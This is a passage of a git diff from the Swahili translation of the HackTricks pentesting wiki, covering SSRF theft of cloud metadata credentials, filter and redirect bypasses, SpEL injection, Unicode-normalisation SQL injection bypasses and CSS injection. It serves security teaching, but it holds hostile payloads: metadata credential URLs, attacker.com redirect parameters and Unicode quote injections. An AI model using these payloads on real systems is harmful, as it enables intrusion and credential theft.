[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akidi zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akiba zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki
|
||||
|
||||
### SSRF katika AWS ECS (Huduma ya Kontena) credentials
|
||||
### SSRF katika AWS ECS (Huduma ya Kontena) akiba
|
||||
|
||||
**ECS**, ni kundi la kimantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **mipangilio ya metadata inabadilika**.
|
||||
**ECS**, ni kundi la kimantiki la EC2 instances ambapo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayotembea katika **ECS**, **nukta za metadata zinabadilika**.
|
||||
|
||||
Ikiwa unapata _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata akidi za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma variable ya **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
|
||||
Ikiwa utaweza kufikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaweza kupata akiba ya mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma variable ya **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
|
||||
Unaweza kuwa na uwezo wa kuisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\
|
||||
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
|
||||
```bash
|
||||
|
|
@ -161,7 +153,7 @@ Kisha tunatumia akreditivu na `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUN
|
|||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Unaweza [**kupata hapa hati kuhusu metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
Unaweza [**kupata hapa nyaraka kuhusu metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### SSRF URL kwa Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
|
|
@ -270,7 +262,7 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### Ongeza ufunguo wa SSH <a href="#id-3e24" id="id-3e24"></a>
|
||||
### Ongeza funguo ya SSH <a href="#id-3e24" id="id-3e24"></a>
|
||||
|
||||
Toa tokeni
|
||||
```
|
||||
|
|
@ -400,7 +392,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
Kutoka kwenye **env** unaweza kupata thamani za `IDENTITY_HEADER` _na_ `IDENTITY_ENDPOINT`. Ambazo unaweza kutumia kukusanya token ili kuzungumza na seva ya metadata.
|
||||
|
||||
Mara nyingi, unataka token kwa moja ya rasilimali hizi:
|
||||
Wakati mwingi, unataka token kwa moja ya rasilimali hizi:
|
||||
|
||||
* [https://storage.azure.com](https://storage.azure.com/)
|
||||
* [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
|
@ -506,11 +498,11 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Hati za huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa kukimbia kwa mifano zinaweza kupatikana. Kila jukwaa linatoa maeneo ya kipekee ya kufikia huduma zake za metadata.
|
||||
Dokumentasiyo ya huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa kutekeleza kwa mifano zinaweza kupatikana. Kila jukwaa linatoa maeneo ya kipekee ya kufikia huduma zake za metadata.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
Ili kufikia metadata ya Packetcloud, hati zinaweza kupatikana kwenye: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
Ili kufikia metadata ya Packetcloud, dokumentasiyo inaweza kupatikana hapa: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
|
|
@ -550,7 +542,7 @@ Kubernetes ETCD inaweza kushikilia funguo za API, anwani za IP za ndani, na band
|
|||
|
||||
## Docker
|
||||
|
||||
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano inatolewa kwa ajili ya kupata taarifa za kontena na picha:
|
||||
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano imetolewa kwa ajili ya kupata taarifa za kontena na picha:
|
||||
|
||||
* Mfano rahisi wa kufikia metadata ya kontena na picha kupitia socket ya Docker:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
|
@ -564,12 +556,6 @@ Metadata ya Rancher inaweza kupatikana kwa kutumia:
|
|||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
|
@ -162,7 +154,7 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
Ikiwa unahitajika kwamba URL lazima iishe katika njia au kiambatisho, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
|
||||
Ikiwa unahitajika kwamba URL lazima ikamilike kwa njia au kiambatisho, au lazima iwe na njia, unaweza kujaribu moja ya bypass zifuatazo:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
|
@ -170,11 +162,11 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda mabadiliko kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini si** jibu la **redirect** kwa ombi hilo.\
|
||||
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** kwa ombi hilo.\
|
||||
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **paramu ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
|
||||
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
|
|
@ -216,11 +208,6 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,51 +15,37 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Bsic Info
|
||||
|
||||
Expression Language (EL) ni muhimu katika JavaEE kwa kuunganisha safu ya uwasilishaji (mfano, kurasa za wavuti) na mantiki ya programu (mfano, managed beans), ikiruhusu mwingiliano wao. Inatumika hasa katika:
|
||||
Expression Language (EL) ni muhimu katika JavaEE kwa kuunganisha safu ya uwasilishaji (mfano, kurasa za wavuti) na mantiki ya programu (mfano, beans zinazodhibitiwa), ikiruhusu mwingiliano wao. Inatumika hasa katika:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Kwa kuunganisha vipengele vya UI na data/hatua za nyuma.
|
||||
* **JavaServer Pages (JSP)**: Kwa ufikiaji wa data na usimamizi ndani ya kurasa za JSP.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Kwa kuwezesha mwingiliano wa safu ya wavuti na managed beans.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Kwa kuwezesha mwingiliano wa safu ya wavuti na beans zinazodhibitiwa.
|
||||
|
||||
**Muktadha wa Matumizi**:
|
||||
|
||||
* **Spring Framework**: Inatumika katika moduli mbalimbali kama Usalama na Data.
|
||||
* **Matumizi ya Kawaida**: Kupitia SpEL API na waendelezaji katika lugha za msingi za JVM kama Java, Kotlin, na Scala.
|
||||
* **Matumizi ya Kawaida**: Kupitia SpEL API na waendelezaji katika lugha zinazotegemea JVM kama Java, Kotlin, na Scala.
|
||||
|
||||
EL inapatikana katika teknolojia za JavaEE, mazingira huru, na inatambulika kupitia .jsp au .jsf file extensions, makosa ya stack, na maneno kama "Servlet" katika vichwa. Hata hivyo, sifa zake na matumizi ya wahusika fulani yanaweza kutegemea toleo.
|
||||
|
||||
{% hint style="info" %}
|
||||
Kulingana na **EL version** baadhi ya **features** zinaweza kuwa **On** au **Off** na kawaida wahusika fulani wanaweza kuwa **disallowed**.
|
||||
Kulingana na **toleo la EL** baadhi ya **sifa** zinaweza kuwa **Zimewashwa** au **Zimezimwa** na kawaida wahusika fulani wanaweza kuwa **hawaruhusiwi**.
|
||||
{% endhint %}
|
||||
|
||||
## Basic Example
|
||||
|
||||
(Unaweza kupata tutorial nyingine ya kuvutia kuhusu EL katika [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
(Unaweza kupata mafunzo mengine ya kuvutia kuhusu EL katika [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
Pakua kutoka kwa hifadhi ya [**Maven**](https://mvnrepository.com) faili za jar:
|
||||
Pakua kutoka kwa [**Maven**](https://mvnrepository.com) hifadhi faili za jar:
|
||||
|
||||
* `commons-lang3-3.9.jar`
|
||||
* `spring-core-5.2.1.RELEASE.jar`
|
||||
* `commons-logging-1.2.jar`
|
||||
* `spring-expression-5.2.1.RELEASE.jar`
|
||||
|
||||
Na tengeneza faili ifuatayo `Main.java`:
|
||||
Na uunde faili ifuatayo `Main.java`:
|
||||
```java
|
||||
import org.springframework.expression.Expression;
|
||||
import org.springframework.expression.ExpressionParser;
|
||||
|
|
@ -80,7 +66,7 @@ System.out.println(result);
|
|||
}
|
||||
}
|
||||
```
|
||||
Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
|
||||
Kisha jumuisha msimbo (ikiwa huna `javac` iliyosakinishwa, sakinisha `sudo apt install default-jdk`):
|
||||
```java
|
||||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||||
```
|
||||
|
|
@ -99,7 +85,7 @@ Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2
|
|||
|
||||
## Payloads
|
||||
|
||||
### Mifanozo ya msingi
|
||||
### Mambo ya msingi
|
||||
```bash
|
||||
#Basic string operations examples
|
||||
{"a".toString()}
|
||||
|
|
@ -243,18 +229,6 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,40 +15,26 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Hii ni muhtasari wa:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Angalia kwa maelezo zaidi (picha zimechukuliwa kutoka hapo).
|
||||
|
||||
## Understanding Unicode and Normalization
|
||||
## Kuelewa Unicode na Normalization
|
||||
|
||||
Unicode normalization ni mchakato ambao unahakikisha uwakilishi tofauti wa kibinafsi wa wahusika unakuwa wa kiwango sawa. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinabainisha aina mbili za usawa wa wahusika:
|
||||
Unicode normalization ni mchakato unaohakikisha kwamba uwakilishi tofauti wa binary wa wahusika unakuwa wa kiwango sawa na thamani ya binary. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika:
|
||||
|
||||
1. **Canonical Equivalence**: Wahusika wanachukuliwa kuwa sawa kikanuni ikiwa wana muonekano na maana sawa wanapochapishwa au kuonyeshwa.
|
||||
2. **Compatibility Equivalence**: Aina dhaifu ya usawa ambapo wahusika wanaweza kuwakilisha wahusika sawa wa kiabstrakti lakini wanaweza kuonyeshwa tofauti.
|
||||
1. **Usawa wa Canonical**: Wahusika wanachukuliwa kuwa sawa kikanuni ikiwa wana muonekano na maana sawa wanapochapishwa au kuonyeshwa.
|
||||
2. **Usawa wa Ulinganifu**: Aina dhaifu ya usawa ambapo wahusika wanaweza kuwakilisha wahusika sawa wa kiabstrakti lakini wanaweza kuonyeshwa tofauti.
|
||||
|
||||
Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa ufahamu wa kina zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/).
|
||||
Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa kuelewa zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/).
|
||||
|
||||
### Key Points on Unicode Encoding
|
||||
### Vidokezo Muhimu Kuhusu Unicode Encoding
|
||||
|
||||
Kuelewa encoding ya Unicode ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna pointi kuu:
|
||||
Kuelewa Unicode encoding ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna vidokezo vikuu:
|
||||
|
||||
* **Code Points and Characters**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
|
||||
* **Bytes Representation**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaotumika sana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
|
||||
* **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa byte. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
|
||||
* **Processing Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
|
||||
* **Variants of UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (inayotumia angalau byte 2, hadi 4) na UTF-32 (inayotumia byte 4 kwa wahusika wote).
|
||||
* **Pointi za Msimbo na Wahusika**: Katika Unicode, kila wahusika au alama inapewa thamani ya nambari inayojulikana kama "code point".
|
||||
* **Uwaki wa Bytes**: Pointi ya msimbo (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaotumika sana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
|
||||
* **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa bytes. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
|
||||
* **Usindikaji wa Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
|
||||
* **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (inayotumia angalau byte 2, hadi 4) na UTF-32 (inayotumia byte 4 kwa wahusika wote).
|
||||
|
||||
Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza masuala yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding.
|
||||
|
||||
|
|
@ -66,11 +52,11 @@ Mfano mwingine: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94
|
|||
|
||||
## **Mifano Inayoweza Kuathiriwa**
|
||||
|
||||
### **Kupita kwenye chujio cha SQL Injection**
|
||||
### **Kupita mfilizo wa SQL Injection**
|
||||
|
||||
Fikiria ukurasa wa wavuti unaotumia wahusika `'` kuunda maswali ya SQL na ingizo la mtumiaji. Wavuti hii, kama hatua ya usalama, **inafuta** matukio yote ya wahusika **`'`** kutoka kwa ingizo la mtumiaji, lakini **baada ya kufutwa** na **kabla ya kuunda** swali, inafanya **normalises** kutumia **Unicode** ingizo la mtumiaji.
|
||||
|
||||
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa kuwa la kawaida, nukta moja inaundwa na **SQLInjection vulnerability** inaonekana:
|
||||
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa normalised, nukta moja inaundwa na **SQLInjection vulnerability** inaonekana:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -116,7 +102,7 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `%
|
|||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Wakati backend inafanya **kuangalia ingizo la mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **ingizo** linakuwa **normalized** kwa **regex** lakini **siyo** kwa mahali linapotumiwa. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing the sent URL** lakini kisha **kuipata kama ilivyo**.
|
||||
Wakati backend inafanya **kuangalia ingizo la mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **ingizo** linakuwa **normalized** kwa **regex** lakini **siyo** kwa mahali linapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing the sent URL** lakini kisha **inapata kama ilivyo**.
|
||||
|
||||
Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu **kuunda tofauti za ingizo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
|
|
@ -126,29 +112,17 @@ Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,19 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Attribute Selector
|
||||
|
||||
CSS selectors zimeandaliwa ili kuendana na thamani za `input` kipengele cha `name` na `value` attributes. Ikiwa kipengele cha input kina thamani ya attribute inayoanza na herufi maalum, rasilimali ya nje iliyowekwa awali inaloadiwa:
|
||||
CSS selectors zimeandaliwa ili kuendana na thamani za `input` kipengele cha `name` na `value` attributes. Ikiwa kipengele cha input kina thamani ya attribute inayoanza na herufi maalum, rasilimali ya nje iliyowekwa awali inachukuliwa:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
